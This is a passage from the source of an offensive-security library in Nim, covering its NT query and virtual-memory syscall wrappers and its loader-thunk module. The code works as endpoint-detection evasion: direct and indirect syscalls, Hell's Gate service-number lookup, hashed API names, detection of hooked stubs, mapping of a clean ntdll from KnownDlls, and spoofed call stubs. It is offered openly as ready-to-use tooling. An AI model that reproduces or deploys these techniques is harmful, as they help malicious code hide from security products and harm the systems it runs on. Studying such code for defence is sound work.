Union1*: KUSER_SHARED_DATA_UNION_1 109 | CyclesPerYield*: USHORT 110 | ActiveConsoleId*: ULONG 111 | DismountCount*: ULONG 112 | ComPlusPackage*: ULONG 113 | LastSystemRITEventTickCount*: ULONG 114 | NumberOfPhysicalPages*: ULONG 115 | SafeBootMode*: UCHAR 116 | VirtualizationFlags*: UCHAR 117 | Reserved12*: array[2, UCHAR] 118 | Union2*: KUSER_SHARED_DATA_UNION_2 119 | DataFlagsPad*: ULONG 120 | TestRetInstruction*: ULONGLONG 121 | QpcFrequency*: LONGLONG 122 | SystemCall*: ULONG 123 | Reserved2*: ULONG 124 | SystemCallPad*: array[2, ULONGLONG] 125 | Union3*: KUSER_SHARED_DATA_TICK_COUNT 126 | TickCountPad*: ULONG 127 | Cookie*: ULONG 128 | CookiePad*: ULONG 129 | ConsoleSessionForegroundProcessId*: LONGLONG 130 | TimeUpdateLock*: ULONGLONG 131 | BaselineSystemTimeQpc*: ULONGLONG 132 | BaselineInterruptTimeQpc*: ULONGLONG 133 | QpcSystemTimeIncrement*: ULONGLONG 134 | QpcInterruptTimeIncrement*: ULONGLONG 135 | QpcSystemTimeIncrementShift*: UCHAR 136 | QpcInterruptTimeIncrementShift*: UCHAR 137 | UnparkedProcessorCount*: USHORT 138 | EnclaveFeatureMask*: array[4, ULONG] 139 | TelemetryCoverageRound*: ULONG 140 | UserModeGlobalLogger*: array[16, USHORT] 141 | ImageFileExecutionOptions*: ULONG 142 | LangGenerationCount*: ULONG 143 | Reserved4*: ULONGLONG 144 | InterruptTimeBias*: ULONGLONG 145 | QpcBias*: ULONGLONG 146 | ActiveProcessorCount*: ULONG 147 | ActiveGroupCount*: UCHAR 148 | Reserved9*: UCHAR 149 | QpcData*: USHORT 150 | TimeZoneBiasEffectiveStart*: LARGE_INTEGER 151 | TimeZoneBiasEffectiveEnd*: LARGE_INTEGER 152 | XState*: XSTATE_CONFIGURATION 153 | FeatureConfigurationChangeStamp*: KSYSTEM_TIME 154 | Spare*: ULONG 155 | 156 | PKUSER_SHARED_DATA* = ptr KUSER_SHARED_DATA 157 | -------------------------------------------------------------------------------- /src/Bitmancer/ntdll/query.nim: -------------------------------------------------------------------------------- 1 | ##--------------------------------------------------------------------- 2 | ## Bitmancer - a library for Offensive Security Development 3 | ## 4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com) 5 | ## 6 | ## This program is free software: you can redistribute it and/or modify 7 | ## it under the terms of the GNU General Public License as published by 8 | ## the Free Software Foundation, either version 3 of the License, or 9 | ## (at your option) any later version. 10 | ## 11 | ## This program is distributed in the hope that it will be useful, 12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | ## GNU General Public License for more details. 15 | ## 16 | ## You should have received a copy of the GNU General Public License 17 | ## along with this program. If not, see . 18 | ## 19 | ##---------------------------------------------------------------------------------- 20 | import 21 | ../core/obfuscation/hash, 22 | ../syscalls 23 | 24 | export 25 | syscalls 26 | 27 | ## Compile Time Settings 28 | ##------------------------------------------------------------------------ 29 | const 30 | ## Performance Counter Settings 31 | ##--------------------------------------------------------------------- 32 | PerfExeEnum* {.intDefine.} = SyscallExecution.Indirect 33 | PerfSsnEnum* {.intDefine.} = SsnEnumeration.ZwCounter 34 | PerfSymEnum* {.intDefine.} = SymbolEnumeration.UseEAT 35 | 36 | ## System Information Settings 37 | ##--------------------------------------------------------------------- 38 | SysInfoExeEnum* {.intDefine.} = SyscallExecution.Direct 39 | SysInfoSsnEnum* {.intDefine.} = SsnEnumeration.HellsGate 40 | SysInfoSymEnum* {.intDefine.} = SymbolEnumeration.UseEAT 41 | 42 | ## Virtual Memory Settings 43 | ##--------------------------------------------------------------------- 44 | VMInfoExeEnum* {.intDefine.} = SyscallExecution.Indirect 45 | VMInfoSsnEnum* {.intDefine.} = SsnEnumeration.ZwCounter 46 | VMInfoSymEnum* {.intDefine.} = SymbolEnumeration.UseEAT 47 | 48 | ## Hashes 49 | ##--------------------------------------------------------------------- 50 | const 51 | NtQuerySystemInformationHash* = ctDjb2 "NtQuerySystemInformation" 52 | NtQueryPerformanceCounterHash* = ctDjb2 "NtQueryPerformanceCounter" 53 | NtQuerySystemTimeHash* = ctDjb2 "NtQuerySystemTime" 54 | NtQueryVirtualMemoryHash* = ctDjb2 "NtQueryVirtualMemory" 55 | 56 | ## NtQuery* APIs 57 | ##------------------------------------------------------------------------ 58 | template GET_BASIC_SYSTEM_INFO*(sysInfo: var SYSTEM_BASIC_INFORMATION): NtResult[void] = 59 | ntQuerySystemInformation( 60 | cast[PVOID](addr sysInfo), 61 | SYSTEM_INFORMATION_CLASS.SystemBasicInformation, 62 | sizeOf(SYSTEM_BASIC_INFORMATION) 63 | ) 64 | 65 | template GET_BASIC_VM_INFO*( 66 | processHandle: HANDLE, 67 | baseAddress: PVOID, 68 | memInfo: var MEMORY_BASIC_INFORMATION, 69 | retLength: PSIZE_T 70 | ): NtResult[void] = 71 | ntQueryVirtualMemory( 72 | processHandle, 73 | baseAddress, 74 | cast[PVOID](addr memInfo), 75 | MEMORY_INFORMATION_CLASS.MemoryBasicInformation, 76 | sizeOf(MEMORY_BASIC_INFORMATION), 77 | retLength 78 | ) 79 | 80 | ## SystemInformation 81 | ##------------------------------------ 82 | template getNtQuerySystemInformation*( 83 | Ntdll: ModuleHandle, 84 | importBase: ModuleHandle, 85 | symEnum: static SymbolEnumeration = SysInfoSymEnum, 86 | ssnEnum: static SsnEnumeration = SysInfoSsnEnum, 87 | exeEnum: static SyscallExecution = SysInfoExeEnum 88 | ): NtResult[NtSyscall[NtQuerySystemInformation]] = 89 | getNtSyscall[NtQuerySystemInformation](Ntdll, importBase, NtQuerySystemInformationHash, symEnum, ssnEnum, exeEnum) 90 | 91 | proc ntQuerySystemInformation*(systemInfo: PVOID, systemClass: SYSTEM_INFORMATION_CLASS, systemSz: SIZE_T): NtResult[void] = 92 | genSyscall(NtQuerySystemInformation) 93 | let 94 | Ntdll = ? NTDLL_BASE() 95 | NtSyscall = 96 | when SysInfoSymEnum == SymbolEnumeration.UseEAT: 97 | ? getNtQuerySystemInformation(Ntdll, ModuleHandle(NULL)) 98 | elif SysInfoSymEnum == SymbolEnumeration.UseIAT: 99 | let Kernel32 = ? KERNEL32_BASE() 100 | ? getNtQuerySystemInformation(Ntdll, Kernel32) 101 | 102 | NT_RESULT NtQuerySystemInformationWrapper( 103 | systemClass, 104 | systemInfo, 105 | systemSz.ULONG, 106 | NULL, 107 | NtSyscall 108 | ): void 109 | 110 | ## Time/Performance 111 | ##------------------------------------ 112 | template getNtQueryPerformanceCounter*( 113 | Ntdll: ModuleHandle, 114 | importBase: ModuleHandle, 115 | symEnum: static SymbolEnumeration = PerfSymEnum, 116 | ssnEnum: static SsnEnumeration = PerfSsnEnum, 117 | exeEnum: static SyscallExecution = PerfExeEnum 118 | ): NtResult[NtSyscall[NtQueryPerformanceCounter]] = 119 | getNtSyscall[NtQueryPerformanceCounter](Ntdll, importBase, NtQueryPerformanceCounterHash, symEnum, ssnEnum, exeEnum) 120 | 121 | proc ntQueryPerformanceCounter*(perfCounter: var LARGE_INTEGER, perfFrequency: PLARGE_INTEGER): NtResult[void] {.discardable.} = 122 | genSyscall(NtQueryPerformanceCounter) 123 | let 124 | Ntdll = ? NTDLL_BASE() 125 | NtSyscall = 126 | when PerfSymEnum == SymbolEnumeration.UseEAT: 127 | ? getNtQueryPerformanceCounter(Ntdll, ModuleHandle(NULL)) 128 | elif PerfSymEnum == SymbolEnumeration.UseIAT: 129 | let Kernel32 = ? KERNEL32_BASE() 130 | ? getNtQueryPerformanceCounter(Ntdll, Kernel32) 131 | NT_RESULT NtQueryPerformanceCounterWrapper( 132 | perfCounter, 133 | perfFrequency, 134 | NtSyscall 135 | ): void 136 | 137 | proc getNtQuerySystemTime*(Ntdll: ModuleHandle): NtResult[NtQuerySystemTime] {.inline.} = 138 | let f = ? getProcAddress(Ntdll, NtQuerySystemTimeHash) 139 | ok cast[NtQuerySystemTime](f) 140 | 141 | proc ntQuerySystemTime*(systemTime: var LARGE_INTEGER): NtResult[void] {.discardable.} = 142 | let 143 | Ntdll = ? NTDLL_BASE() 144 | NtSyscall = ? getNtQuerySystemTime Ntdll 145 | NT_RESULT NtSyscall(systemTime): void 146 | 147 | ## VirtualMemory 148 | ##------------------------------------ 149 | template getNtQueryVirtualMemory*( 150 | Ntdll: ModuleHandle, 151 | importBase: ModuleHandle, 152 | symEnum: static[SymbolEnumeration] = VMInfoSymEnum, 153 | ssnEnum: static[SsnEnumeration] = VMInfoSsnEnum, 154 | exeEnum: static[SyscallExecution] = VMInfoExeEnum 155 | ): NtResult[NtSyscall[NtQueryVirtualMemory]] = 156 | getNtSyscall[NtQueryVirtualMemory](Ntdll, importBase, NtQueryVirtualMemoryHash, symEnum, ssnEnum, exeEnum) 157 | 158 | proc ntQueryVirtualMemory*( 159 | processHandle: HANDLE, 160 | baseAddress: PVOID, 161 | memInfo: PVOID, 162 | memClass: MEMORY_INFORMATION_CLASS, 163 | memSz: SIZE_T, 164 | returnLength: PSIZE_T 165 | ): NtResult[void] = 166 | genSyscall(NtQueryVirtualMemory) 167 | let 168 | Ntdll = ? NTDLL_BASE() 169 | NtSyscall = 170 | when VMInfoSymEnum == SymbolEnumeration.UseEAT: 171 | ? getNtQueryVirtualMemory(Ntdll, ModuleHandle(NULL)) 172 | elif VMInfoSymEnum == SymbolEnumeration.UseIAT: 173 | let Kernel32 = ? KERNEL32_BASE() 174 | ? getNtQueryVirtualMemory(Ntdll, Kernel32) 175 | NT_RESULT NtQueryVirtualMemoryWrapper( 176 | processHandle, 177 | baseAddress, 178 | memClass, 179 | memInfo, 180 | memSz, 181 | returnLength, 182 | NtSyscall 183 | ): void 184 | -------------------------------------------------------------------------------- /src/Bitmancer/ntdll/vm.nim: -------------------------------------------------------------------------------- 1 | ##--------------------------------------------------------------------- 2 | ## Bitmancer - a library for Offensive Security Development 3 | ## 4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com) 5 | ## 6 | ## This program is free software: you can redistribute it and/or modify 7 | ## it under the terms of the GNU General Public License as published by 8 | ## the Free Software Foundation, either version 3 of the License, or 9 | ## (at your option) any later version. 10 | ## 11 | ## This program is distributed in the hope that it will be useful, 12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | ## GNU General Public License for more details. 15 | ## 16 | ## You should have received a copy of the GNU General Public License 17 | ## along with this program. If not, see . 18 | ## 19 | ##---------------------------------------------------------------------------------- 20 | import 21 | ../core/obfuscation/hash, 22 | ../syscalls 23 | 24 | export 25 | syscalls 26 | 27 | ## Compile Time Settings 28 | ##------------------------------------------------------------------------ 29 | const 30 | ## NtAllocateVirtualMemory Syscall Settings 31 | ##--------------------------------------------------------------------- 32 | AllocExeEnum* {.intDefine.} = SyscallExecution.Indirect 33 | AllocSsnEnum* {.intDefine.} = SsnEnumeration.ZwCounter 34 | AllocSymEnum* {.intDefine.} = SymbolEnumeration.UseEAT 35 | 36 | ## NtFreeVirtualmemory Syscall Settings 37 | ##--------------------------------------------------------------------- 38 | FreeExeEnum* {.intDefine.} = SyscallExecution.Indirect 39 | FreeSsnEnum* {.intDefine.} = SsnEnumeration.ZwCounter 40 | FreeSymEnum* {.intDefine.} = SymbolEnumeration.UseEAT 41 | 42 | ## NtProtectVirtualMemory Syscall Settings 43 | ##--------------------------------------------------------------------- 44 | ProtectExeEnum* {.intDefine.} = SyscallExecution.Indirect 45 | ProtectSsnEnum* {.intDefine.} = SsnEnumeration.ZwCounter 46 | ProtectSymEnum* {.intDefine.} = SymbolEnumeration.UseEAT 47 | 48 | ## NtWriteVirtualMemory Syscall Settings 49 | ##--------------------------------------------------------------------- 50 | WriteExeEnum* {.intDefine.} = SyscallExecution.Indirect 51 | WriteSsnEnum* {.intDefine.} = SsnEnumeration.ZwCounter 52 | WriteSymEnum* {.intDefine.} = SymbolEnumeration.UseEAT 53 | 54 | ## Hashes 55 | ##--------------------------------------------------------------------- 56 | const 57 | NtAllocateVirtualMemoryHash* = ctDjb2 "NtAllocateVirtualMemory" 58 | NtFreeVirtualMemoryHash* = ctDjb2 "NtFreeVirtualMemory" 59 | NtProtectVirtualMemoryHash* = ctDjb2 "NtProtectVirtualMemory" 60 | NtWriteVirtualMemoryHash* = ctDjb2 "NtWriteVirtualMemory" 61 | 62 | ## Nt* Memory APIs 63 | ##------------------------------------------------------------------------ 64 | template PROCESS_MEMORY_ALLOC*(allocBase: var PVOID, regionSize: var SIZE_T, allocType, protect: ULONG): NtResult[void] = 65 | ntAllocateVirtualMemory(RtlCurrentProcess(), allocBase, regionSize, allocType, protect) 66 | 67 | template PROCESS_MEMORY_FREE*(allocBase: var PVOID, regionSize: var SIZE_T): NtResult[void] = 68 | ntFreeVirtualMemory(RtlCurrentProcess(), allocBase, regionSize, MEM_RELEASE) 69 | 70 | template PROCESS_MEMORY_PROTECT*(allocBase: var PVOID, allocSz: var SIZE_T, protections: ULONG): NtResult[void] = 71 | ntProtectVirtualMemory(allocBase, allocSz, protections, NULL) 72 | 73 | ## NtAllocateVirtualMemory 74 | ##------------------------------------ 75 | template getNtAllocateVirtualMemory*( 76 | Ntdll: ModuleHandle, 77 | importBase: ModuleHandle, 78 | symEnum: static SymbolEnumeration = AllocSymEnum, 79 | ssnEnum: static SsnEnumeration = AllocSsnEnum, 80 | exeEnum: static SyscallExecution = AllocExeEnum 81 | ): NtResult[NtSyscall[NtAllocateVirtualMemory]] = 82 | getNtSyscall[NtAllocateVirtualMemory](Ntdll, importBase, NtAllocateVirtualMemoryHash, symEnum, ssnEnum, exeEnum) 83 | 84 | proc ntAllocateVirtualMemory*( 85 | processHandle: HANDLE, 86 | baseAddress: var PVOID, 87 | regionSize: var SIZE_T, 88 | allocType: ULONG, 89 | protect: ULONG 90 | ): NtResult[void] = 91 | genSyscall(NtAllocateVirtualMemory) 92 | let 93 | Ntdll = ? NTDLL_BASE() 94 | NtSyscall = 95 | when AllocSymEnum == SymbolEnumeration.UseEAT: 96 | ? getNtAllocateVirtualMemory(Ntdll, ModuleHandle(NULL)) 97 | elif AllocSymEnum == SymbolEnumeration.UseIAT: 98 | let Kernel32 = ? KERNEL32_BASE() 99 | ? getNtAllocateVirtualMemory(Ntdll, Kernel32) 100 | 101 | NT_RESULT NtAllocateVirtualMemoryWrapper( 102 | processHandle, 103 | baseAddress, 104 | 0, 105 | regionSize, 106 | allocType, 107 | protect, 108 | NtSyscall 109 | ): void 110 | 111 | ## NtFreeVirtualmemory 112 | ##------------------------------------ 113 | template getNtFreeVirtualMemory*( 114 | Ntdll: ModuleHandle, 115 | importBase: ModuleHandle, 116 | symEnum: static SymbolEnumeration = FreeSymEnum, 117 | ssnEnum: static SsnEnumeration = FreeSsnEnum, 118 | exeEnum: static SyscallExecution = FreeExeEnum 119 | ): NtResult[NtSyscall[NtFreeVirtualMemory]] = 120 | getNtSyscall[NtFreeVirtualMemory](Ntdll, importBase, NtFreeVirtualMemoryHash, symEnum, ssnEnum, exeEnum) 121 | 122 | proc ntFreeVirtualMemory*( 123 | processHandle: HANDLE, 124 | baseAddress: var PVOID, 125 | sz: var SIZE_T, 126 | dwFlags: ULONG 127 | ): NtResult[void] {.discardable.} = 128 | genSyscall(NtFreeVirtualMemory) 129 | let 130 | Ntdll = ? NTDLL_BASE() 131 | NtSyscall = 132 | when FreeSymEnum == SymbolEnumeration.UseEAT: 133 | ? getNtFreeVirtualMemory(Ntdll, ModuleHandle(NULL)) 134 | elif FreeSymEnum == SymbolEnumeration.UseIAT: 135 | let Kernel32 = ? KERNEL32_BASE() 136 | ? getNtFreeVirtualMemory(Ntdll, Kernel32) 137 | 138 | NT_RESULT NtFreeVirtualMemoryWrapper( 139 | processHandle, 140 | baseAddress, 141 | sz, 142 | dwFlags, 143 | NtSyscall 144 | ): void 145 | 146 | ## NtProtectVirtualMemory 147 | ##------------------------------------ 148 | template getNtProtectVirtualMemory*( 149 | Ntdll: ModuleHandle, 150 | importBase: ModuleHandle, 151 | symEnum: static SymbolEnumeration = ProtectSymEnum, 152 | ssnEnum: static SsnEnumeration = ProtectSsnEnum, 153 | exeEnum: static SyscallExecution = ProtectExeEnum 154 | ): NtResult[NtSyscall[NtProtectVirtualMemory]] = 155 | getNtSyscall[NtProtectVirtualMemory](Ntdll, importBase, NtProtectVirtualMemoryHash, symEnum, ssnEnum, exeEnum) 156 | 157 | proc ntProtectVirtualMemory*( 158 | protectBase: var PVOID, 159 | protectSz: var SIZE_T, 160 | protections: ULONG, 161 | oldProtections: PULONG 162 | ): NtResult[void] {.discardable.} = 163 | genSyscall(NtProtectVirtualMemory) 164 | let 165 | Ntdll = ? NTDLL_BASE() 166 | NtSyscall = 167 | when ProtectSymEnum == SymbolEnumeration.UseEAT: 168 | ? getNtProtectVirtualMemory(Ntdll, ModuleHandle(NULL)) 169 | elif ProtectSymEnum == SymbolEnumeration.UseIAT: 170 | let Kernel32 = ? KERNEL32_BASE() 171 | ? getNtProtectVirtualMemory(Ntdll, Kernel32) 172 | NT_RESULT NtProtectVirtualMemoryWrapper( 173 | rtlCurrentProcess(), 174 | protectBase, 175 | protectSz, 176 | protections, 177 | oldProtections, 178 | NtSyscall 179 | ): void 180 | 181 | ## NtWriteVirtualMemory 182 | ##------------------------------------ 183 | template getNtWriteVirtualMemory*( 184 | Ntdll: ModuleHandle, 185 | importBase: ModuleHandle, 186 | symEnum: static SymbolEnumeration = WriteSymEnum, 187 | ssnEnum: static SsnEnumeration = WriteSsnEnum, 188 | exeEnum: static SyscallExecution = WriteExeEnum 189 | ): NtResult[NtSyscall[NtWriteVirtualMemory]] = 190 | getNtSyscall[NtWriteVirtualMemory](Ntdll, importBase, NtWriteVirtualMemoryHash, symEnum, ssnEnum, exeEnum) 191 | 192 | proc ntWriteVirtualMemory*( 193 | processHandle: HANDLE, 194 | allocBase: PVOID, 195 | memBase: PVOID, 196 | memSz: SIZE_T, 197 | bytesWritten: PULONG 198 | ): NtResult[void] = 199 | genSyscall(NtWriteVirtualMemory) 200 | let 201 | Ntdll = ? NTDLL_BASE() 202 | NtSyscall = 203 | when WriteSymEnum == SymbolEnumeration.UseEAT: 204 | ? getNtWriteVirtualMemory(Ntdll, ModuleHandle(NULL)) 205 | elif WriteSymEnum == SymbolEnumeration.UseIAT: 206 | let Kernel32 = ? KERNEL32_BASE() 207 | ? getNtWriteVirtualMemory(Ntdll, Kernel32) 208 | 209 | NT_RESULT NtWriteVirtualMemoryWrapper( 210 | processHandle, 211 | allocBase, 212 | memBase, 213 | ULONG(memSz), 214 | bytesWritten, 215 | NtSyscall 216 | ): void 217 | -------------------------------------------------------------------------------- /src/Bitmancer/syscalls/ldrthunks.nim: -------------------------------------------------------------------------------- 1 | ##--------------------------------------------------------------------- 2 | ## Bitmancer - a library for Offensive Security Development 3 | ## 4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com) 5 | ## 6 | ## This program is free software: you can redistribute it and/or modify 7 | ## it under the terms of the GNU General Public License as published by 8 | ## the Free Software Foundation, either version 3 of the License, or 9 | ## (at your option) any later version. 10 | ## 11 | ## This program is distributed in the hope that it will be useful, 12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | ## GNU General Public License for more details. 15 | ## 16 | ## You should have received a copy of the GNU General Public License 17 | ## along with this program. If not, see . 18 | ## 19 | ##---------------------------------------------------------------------------------- 20 | import 21 | ../core/obfuscation/hash, 22 | base 23 | 24 | export 25 | base 26 | 27 | ## LdrThunks 28 | ## Utilize the NT Loader's LdrThunkSignatures to map a clean NTDLL into the 29 | ## process to find clean syscall SSNs. 30 | ## 31 | ## This can be greatly improved, ideally I would like to call this only once 32 | ## and pass in a batch of needed SSNs. 33 | ##------------------------------------------------------------------------ 34 | const 35 | LDR_THUNK_SIGS* = 5 36 | LDR_THUNK_SIG_SIZE* = 16 37 | LDR_THUNK_SIG* = uint32 0xb8d18b4c 38 | NtOpenSectionIndex = 3 39 | NtMapViewOfSectionIndex = 4 40 | NtOpenSectionHash = HASH_A cstring "NtOpenSection" 41 | NtMapViewOfSectionHash = HASH_A cstring "NtMapViewOfSection" 42 | NtCloseHash = HASH_A cstring "NtClose" 43 | NtUnmapViewOfSectionHash = HASH_A cstring "NtUnmapViewOfSection" 44 | type 45 | LdrThunkSignature* = array[LDR_THUNK_SIG_SIZE, byte] 46 | LdrpThunkSignatures* = array[LDR_THUNK_SIGS, LdrThunkSignature] 47 | PLdrpThunkSignatures* = ptr LdrpThunkSignatures 48 | 49 | ## Private 50 | ##------------------------------------------------------------------------ 51 | template isThunkSignatureArray(pCurrentAddr: PVOID): bool = 52 | cast[ptr uint32](pCurrentAddr)[] == LDR_THUNK_SIG and 53 | cast[ptr uint32](pCurrentAddr +! LDR_THUNK_SIG_SIZE)[] == LDR_THUNK_SIG and 54 | cast[ptr uint32](pCurrentAddr +! LDR_THUNK_SIG_SIZE * 2)[] == LDR_THUNK_SIG and 55 | cast[ptr uint32](pCurrentAddr +! LDR_THUNK_SIG_SIZE * 3)[] == LDR_THUNK_SIG and 56 | cast[ptr uint32](pCurrentAddr +! LDR_THUNK_SIG_SIZE * 4)[] == LDR_THUNK_SIG 57 | 58 | template NT_OPEN_SECTION_SIG(ldrsigs: PLdrpThunkSignatures): WORD = 59 | cast[PWORD](addr ldrsigs[NtOpenSectionIndex][4])[] 60 | 61 | template NT_MAP_VIEW_OF_SECTION_SIG(ldrsigs: PLdrpThunkSignatures): WORD = 62 | cast[PWORD](addr ldrsigs[NtMapViewOfSectionIndex][4])[] 63 | 64 | ## Helpers 65 | ##------------------------------------ 66 | proc ldrThunkFindCleanStub(stub: var PVOID) = 67 | for i in 0 ..< 500: 68 | ## check neighboring syscall down 69 | if checkStub(stub, DWORD(i * StubOffsetDown)).isOk(): 70 | stub +=! DWORD(i * StubOffsetDown) 71 | break 72 | ## check neighboring syscall up 73 | if checkStub(stub, DWORD(i * StubOffsetUp)).isOk(): 74 | stub -=! DWORD(i * StubOffsetUp) 75 | break 76 | 77 | proc ldrThunkFindSyscall(ident: SomeProcIdent): NtResult[PVOID] = 78 | let Ntdll = ? NTDLL_BASE() 79 | var inMemNtUnmapView = ? getProcAddress(Ntdll, ident) 80 | if inMemNtUnmapView.isHooked(): 81 | ldrThunkFindCleanStub inMemNtUnmapView 82 | ok (inMemNtUnmapView) 83 | 84 | proc ldrThunkGetSyscallResult(pCleanNtdll: ModuleHandle, ident: SomeProcIdent): SyscallResult = 85 | ## Retrieves the Nt* API `T`'s SSN from the Clean NTDLL. Then finds a syscall address and 86 | ## instruction from the in memory NTDLL to use for the indirect syscall. 87 | let 88 | cleanNtUnmapView = ? getProcAddress(pCleanNtdll, ident) 89 | cleanSyscallResult = ? checkStub(cleanNtUnmapView, 0) 90 | pInMemFunc = ? ldrThunkFindSyscall(ident) 91 | ok Syscall( 92 | wSyscall: cleanSyscallResult.wSyscall, 93 | pSyscall: pInMemFunc 94 | ) 95 | 96 | proc ldrThunkGetNtSyscall(pCleanNtdll: ModuleHandle, T: typedesc, ident: SomeProcIdent): NtResult[NtSyscall[T]] {.inline.} = 97 | let syscallRes = ? ldrThunkGetSyscallResult(pCleanNtdll, ident) 98 | ok NtSyscall[T]( 99 | syscall: syscallRes, 100 | pFunction: cast[T](spoofStub) 101 | ) 102 | 103 | proc ldrThunkCleanUp(sHandle: HANDLE, pCleanNtdll: ModuleHandle): NtResult[void] {.discardable.} = 104 | genSyscall(NtUnmapViewOfSection) 105 | genSyscall(NtClose) 106 | let 107 | NtSyscallClose = ? ldrThunkGetNtSyscall(pCleanNtdll, NtClose, NtCloseHash) 108 | NtSyscallUnmapView = ldrThunkGetNtSyscall(pCleanNtdll, NtUnmapViewOfSection, NtUnmapViewOfSectionHash) 109 | .valueOr(): 110 | discard NtCloseWrapper(sHandle, NtSyscallClose) 111 | return err SyscallNotFound 112 | 113 | if not NT_SUCCESS NtUnmapViewOfSectionWrapper( 114 | rtlCurrentProcess(), 115 | pCleanNtdll.PVOID, 116 | NtSyscallUnmapView 117 | ): return err SyscallFailure 118 | 119 | NT_RESULT NtCloseWrapper( 120 | sHandle, 121 | NtSyscallClose 122 | ): void 123 | 124 | ## Map Clean NTDLL 125 | ##------------------------------------ 126 | func getLdrThunks(imageBase: ModuleHandle): NtResult[PLdrpThunkSignatures] = 127 | let pSection = ? getDataSection(imageBase) 128 | var pCurrentAddr = SECTION_START(imageBase, pSection) 129 | 130 | while pCurrentAddr != SECTION_END(imageBase, pSection) -! (LDR_THUNK_SIG_SIZE * LDR_THUNK_SIGS): 131 | if isThunkSignatureArray(pCurrentAddr): 132 | return ok cast[PLdrpThunkSignatures](pCurrentAddr) 133 | pCurrentAddr = pCurrentAddr +! 4 134 | err SignaturesNotFound 135 | 136 | proc ldrThunkOpenSection(sHandle: var HANDLE, ssn: WORD): NtResult[void] = 137 | genSyscall(NtOpenSection) 138 | var knownDlls {.stackStringW.} = "\\KnownDlls\\ntdll.dll" 139 | 140 | ## Initialize Object Attributes 141 | var 142 | objAttributes = OBJECT_ATTRIBUTES() 143 | objPath = UNICODE_STRING() 144 | objBuffer = cast[PCWSTR](addr knownDlls[0]) 145 | RTL_INIT_EMPTY_UNICODE_STRING(objPath, objBuffer, objBuffer.len.USHORT) 146 | InitializeObjectAttributes(addr objAttributes, addr objPath, 0, sHandle, NULL) 147 | 148 | ## Get a syscall instruction for indirect jump 149 | let pInMemFunc = ? ldrThunkFindSyscall(NtOpenSectionHash) 150 | 151 | ## Do Syscall 152 | let NtOpenSect = NtSyscall[NtOpenSection]( 153 | syscall: Syscall( 154 | wSyscall: ssn, 155 | pSyscall: pInMemFunc 156 | ), 157 | pFunction: cast[NtOpenSection](spoofStub) 158 | ) 159 | ## TODO: need SECTION_QUERY? 160 | NT_RESULT NtOpenSectionWrapper( 161 | sHandle, 162 | ACCESS_MASK(SECTION_MAP_READ or SECTION_MAP_EXECUTE), 163 | addr objAttributes, 164 | NtOpenSect 165 | ): void 166 | 167 | proc ldrThunkMapView(sHandle: HANDLE, pCleanNtdll: var ModuleHandle, ssn: WORD): NtResult[void] = 168 | genSyscall(NtMapViewOfSection) 169 | var viewSize = SIZE_T(0) 170 | 171 | ## Get a syscall instruction for indirect jump 172 | let pInMemFunc = ? ldrThunkFindSyscall(NtMapViewOfSectionHash) 173 | 174 | let NtMapView = NtSyscall[NtMapViewOfSection]( 175 | syscall: Syscall( 176 | wSyscall: ssn, 177 | pSyscall: pInMemFunc, 178 | ), 179 | pFunction: cast[NtMapViewOfSection](spoofStub) 180 | ) 181 | 182 | NT_RESULT NtMapViewOfSectionWrapper( 183 | sHandle, rtlCurrentProcess(), pCleanNtdll.PVOID, 184 | 0, 0, NULL, viewSize, 1, 0, PAGE_READONLY, 185 | NtMapView 186 | ): void 187 | 188 | proc ldrThunkMapCleanNtdll(imageBase: ModuleHandle, sHandle: var HANDLE, pCleanNtdll: var ModuleHandle): NtResult[void] = 189 | let 190 | pLdrThunkSignatures = ? getLdrThunks(imageBase) 191 | wNtOpenSection = NT_OPEN_SECTION_SIG(pLdrThunkSignatures) 192 | wNtMapViewOfSection = NT_MAP_VIEW_OF_SECTION_SIG(pLdrThunkSignatures) 193 | if wNtOpenSection == 0 or wNtMapViewOfSection == 0: 194 | return err SyscallNotFound 195 | 196 | ? ldrThunkOpenSection(sHandle, wNtOpenSection) 197 | ldrThunkMapView(sHandle, pCleanNtdll, wNtMapViewOfSection) 198 | 199 | ## Public 200 | ##------------------------------------ 201 | proc ldrThunksEat*(imageBase: ModuleHandle, ident: SomeProcIdent): SyscallResult = 202 | var 203 | sectionHandle = HANDLE(0) 204 | pCleanNtdll = ModuleHandle(NULL) 205 | ? ldrThunkMapCleanNtdll(imageBase, sectionHandle, pCleanNtdll) 206 | result = ldrThunkGetSyscallResult(pCleanNtdll, ident) 207 | ldrThunkCleanUp(sectionHandle, pCleanNtdll) 208 | 209 | template ldrThunks*(imageBase, importBase: ModuleHandle, ident: SomeProcIdent, symEnum: static SymbolEnumeration): SyscallResult = 210 | ## TODO 211 | --------------------------------------------------------------------------------